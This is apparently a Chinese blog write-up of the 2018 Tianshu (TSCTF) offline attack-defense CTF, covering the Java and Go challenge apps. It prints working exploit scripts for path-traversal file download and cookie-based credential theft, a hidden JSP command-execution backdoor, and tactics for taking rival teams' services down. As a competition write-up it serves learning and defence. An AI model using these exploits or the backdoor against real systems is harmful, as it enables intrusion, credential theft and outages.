天枢CTF线下赛-2018

TSCTF2018

Posted by Xiaoxi on June 11, 2018

TSCTF

上周,去北邮那边参加了天枢CTF线下赛。整个过程中,打得还是蛮爽。我们在开场没多久就挖出了第一个洞,直接打全场,打了一个上午美滋滋。下午,打了一波有意思的down服务操作,直接每轮多获取640分数,非常的舒服。

唯一遗憾的就是,后面两个小时有些疲软,没找到web2的软连接漏洞,不能再搞一波事情。最后,拿了个第二名。

2

Web1

Web1是一个Java后台的站点,目录如下: 1

这个Web一共有四个洞,依次如下:

越权任意文件下载

这个洞,我们在拿到题目后没几分钟就挖到了,运气非常好。拿到源码后,搜索了一下flag,然后发现一个downloadFlag函数。然后,仔细看了一下,果然发现可以越权。接着,就直接打全场了😂

在DownloadController中,存在downloadFlag函数。

@Controller
@RequestMapping(value = "download")
public class DownloadController {
    private static final String path = "/download";

    @RequestMapping(value ="/files", method = RequestMethod.GET)
    public void downloadFlag(HttpSession session, HttpServletRequest req, HttpServletResponse res, @RequestParam("file") String filename){
        String downloadPath = this.getClass().getResource(path).getPath();
        String filtered_filename = filename.replace("../","").replace("./", "");
        String filePath = downloadPath + "/" + filtered_filename;
        try {
            res.setHeader("Content-disposition", "attachment;fileName=" + new String(filename.getBytes("GBK"), "ISO8859-1"));
            res.setHeader("Content-type","application/pdf");
            FileInputStream input = new FileInputStream(filePath);
            OutputStream out = res.getOutputStream();
            byte[] b = new byte[2048];
            int len;
            while ((len = input.read(b)) != -1) {
                out.write(b, 0, len);
            }
            res.setHeader("Content-Length", String.valueOf(input.getChannel().size()));
            input.close();
        } catch (Exception ex) {
        }
        return;
    }
}

这里的filename参数只做了一次replace,可以双重复写绕过,从而进行任意文件下载。

EXP如下:

def get_flag(host):
    tmp = random_string(10)
    register(host,tmp)
    login(host,tmp)
    paramsGet = {"file":".....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///flag/flag"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1"}
    response = session.get(host+"/download/files", params=paramsGet, headers=headers)
    print("Flag: %s" % response.content)
    return response.content

登陆越权

代码如下:


    @RequestMapping("/loginHtml.html")
    public String loginHtml(HttpSession session,@ModelAttribute("message") String message) {
        System.out.println("-->user/loginHtml.html");

        Integer code = (Integer) session.getAttribute("first");
        if(code!=null){
            if (code == User.UNSUBMITTED) {
                return "redirect:/profile/profileAdd.html";
            } else if (code == User.ADMIN) {
                return "redirect:/profile/export";
            } else {
                return "redirect:/profile/my";
            }
        }else {
            session.setAttribute("message", message);
            return "login";
        }
    }

登陆的时候,可以修改first值,修改到admin权限。first在user中定义,象征用户权限。

  	public String checkcode;
    public String time;
    public int first;
    public String pdd;

    public static final int UNSUBMITTED = 0;
    public static final int SUBMITTED = 1;
    public static final int ADMIN = 2;

自带后门

在error.jsp文件中,存在一个隐蔽的内置后门。

<%
    String op="Got Nothing";
    String query = request.getParameter("q");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }

    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>

参考先知文章即可:https://xz.aliyun.com/t/2342

SPEL表达式注入

ProfileControllor类存在SPEL表达式注入

    @RequestMapping("/myProfile")
    public String myProfilePage(HttpSession session,@ModelAttribute("message") String message) {
        Integer first = (Integer) session.getAttribute("first");
        if(first!=null&&first==0){
            session.setAttribute("message",Canstants.fillTheProfileFirst);
            return "noProfile";
        }else if(first==1){
            Integer userid = (Integer) session.getAttribute("userId");
            Profile profile = profileDao.findProfileByUserId(userid);
            String template = profileView(profile);//这个函数存在spel注入
            session.setAttribute("Template", template);
            session.setAttribute("profile", profile);
            session.setAttribute("message", message);
            return "profile_view";
        }else if(first==2){
            return "excel";
        }else {
            session.setAttribute("message",Canstants.authFail);
            return "error";
        }
    }

源码

Web2

这是一个go语言web题。

主要有三块漏洞点:

越权泄漏flag

me页面,article的各种功能页面都会泄漏flag。

需要加一个登陆验证,类似这样:

	if(this.Data["IsAdmin"])!=true{
		this.Redirect("/login", 302)
	}

在28088端口,管理员页面也会有一个flag,但是那个flag只会泄漏一轮。

exp如下:


def filter_flag(string):
    p = re.compile(r'TSCTF{[0-9a-z\-]{32}}')
    # p = re.compile(r'hctf\{.*\}')
    r = p.findall(string)
    print r
    return r

def get_flag1(host="http://172.16.10.16:28088"):
    paramsGet = {"command":"conf"}
    headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36","Referer":"http://172.16.10.16:28088/listconf?command=conf","Connection":"close","Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8"}
    response = session.get(host+"/listconf", params=paramsGet, headers=headers)
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    return filter_flag(response.content)[0]


def get_flag2(host="http://172.16.10.16:28080"):
    response = session.get(host+"/me/article/add")
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    return filter_flag(response.content)[0]

logout泄漏

func (this *LoginController) Logout() {
	this.Ctx.ResponseWriter.Header().Add("Set-Cookie", "bb_name="+g.RootName+"; Max-Age=0; Path=/;")
	this.Ctx.ResponseWriter.Header().Add("Set-Cookie", "bb_password="+g.RootPass+"; Max-Age=0; Path=/;")
	this.Redirect("/", 302)
}

logout可以泄漏用户名和编码后的pass。

这里脚本获取cookie,用requests库好像不行,学弟用socket实现了下。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import socket
import ssl
import re
session = requests.session()

def get_header(host, port=28080, uri="/", method="GET", user_ssl=False):
    _timeout = 10
    socket.setdefaulttimeout(_timeout)
    conn = None
    header = """%s %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\r\n\r\n""" % (
        method, uri, host)
    if user_ssl:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        conn = ssl_context.wrap_socket(_socket, server_hostname=host)
        conn.connect((host, port))
        conn.send(header)
    else:
        conn = socket.create_connection((host, port), _timeout)
        conn.sendall(header)
    text = ""
    while True:
        if "\r\n\r\n" in text:
            break
        buff = conn.recv(10)
        text += buff
        # print buff
    conn.close()
    return text.split("\r\n\r\n")[0]

def getCookie(ip):
    s=get_header(ip, uri="/logout")
    bb_name=re.findall(r'bb_name=(.*)',s)[0].split(';')[0]
    bb_password=re.findall(r'bb_password=(.*)',s)[0].split(';')[0]
    return {'bb_name':bb_name,'bb_password':bb_password}

得到cookie之后,就能登陆上admin,也就可以拿到flag了。

比赛过程中,我用admin权限,直接登陆上去,删了所有人的文章,把全场服务打down,还是很舒服。

软连接导致任意文件读+文件写

这个我在比赛中没发现,后面在5点多的时候才看到。因为我是用FTP工具拉的备份,导致软连接在下载过程中丢失了,所以一直没看到这个点。这个软连接的洞真的很骚。

2

upload软连接到了../../。那么,我们就可以通过外部http访问直接访问到整个go语言目录,自然也可以访问flag目录。

比如:

  1. http://172.16.10.16:28080/static/uploads/gotsctf2018/flag可以获得flag
  2. http://172.16.10.16:28080/static/uploads/gotsctf2018/conf/app.conf 获得配置文件信息,配置文件中有账户和密码

此外,bee这个框架(或者go语言?可能是dev模式运行的原因。不是很懂)会自动动态加载已修改的文件。简单来说,虽然我们是编译出一个二进制文件开启web服务。但是,我们动态修改了go语言代码,它会自动加载并编译。(而单独利用这个特性,其实也可以通过文件上传,上传一个go语言后门)

那么,我们就可以通过上传功能覆盖任意go语言代码进行操作了。赛场上,haozi打了一个很骚的套路,可以学习一下。他直接往index网页写入一个<div style="display: none;"></div> </body>,这样就可以持续窃取flag了。

打down服务

最后,讲一下这个比赛玩的很开心的点,打down服务(当然是合法地打down服务)。

这是线下赛很值得开拓的一个web思路。

在下午的时候,NeSE一度要赶超我们战队,差距很小。

4

而这个时候,我打了一波删文章,直接让场上所有的web2都挂了。由于我的web2服务没有挂掉,所有我光吃别人的down分就一轮有640。外加,我还能打别人。这样就能让对面,服务又down,还被打。

3

打了删文章后,我们一轮有887的得分,直接甩开了NeSE。

合理的打down别人服务还有一个好处就是让对面web手疲于修洞,就没办法好好挖洞。而我们就可以怀着窃喜的心态好好挖洞,继续积攒优势。

这里因为我首先是偷取了一波大家的账号密码(另外,我还有一个进程会动态更新别人的账号密码,保证账号密码为最新),再基于正常的账号密码打的攻击。所以,这个down服务大家一开始怎么也修不好。因为我在打down服务的过程中,基本没有用到漏洞。所以,选手们很难修这个服务。直至下午4点左右,才有第一个战队修复好了服务。而到比赛结束还有好几个战队没有修复好。他们要首先修复logout的漏洞,并同时修改自己的密码,再重新启动才能完全修复。

遗憾的就是,后期没有注意到软连接的洞,不然就爽歪歪了。后期,打得略疲软。

如果我能拿到软连接的洞,我会首先用文件读取,读取到flag并提交。然后用文件上传覆盖掉别人的flag。这样就能即保证别人的服务挂掉,还能保证别人的flag几乎只被我们战队获得。也就是,我们还能独享别人的flag分数。那么,这样一轮,我们光web2就可以获得1280分!!!说到这里,大家就能体会到打down别人服务的好处了吧!

源码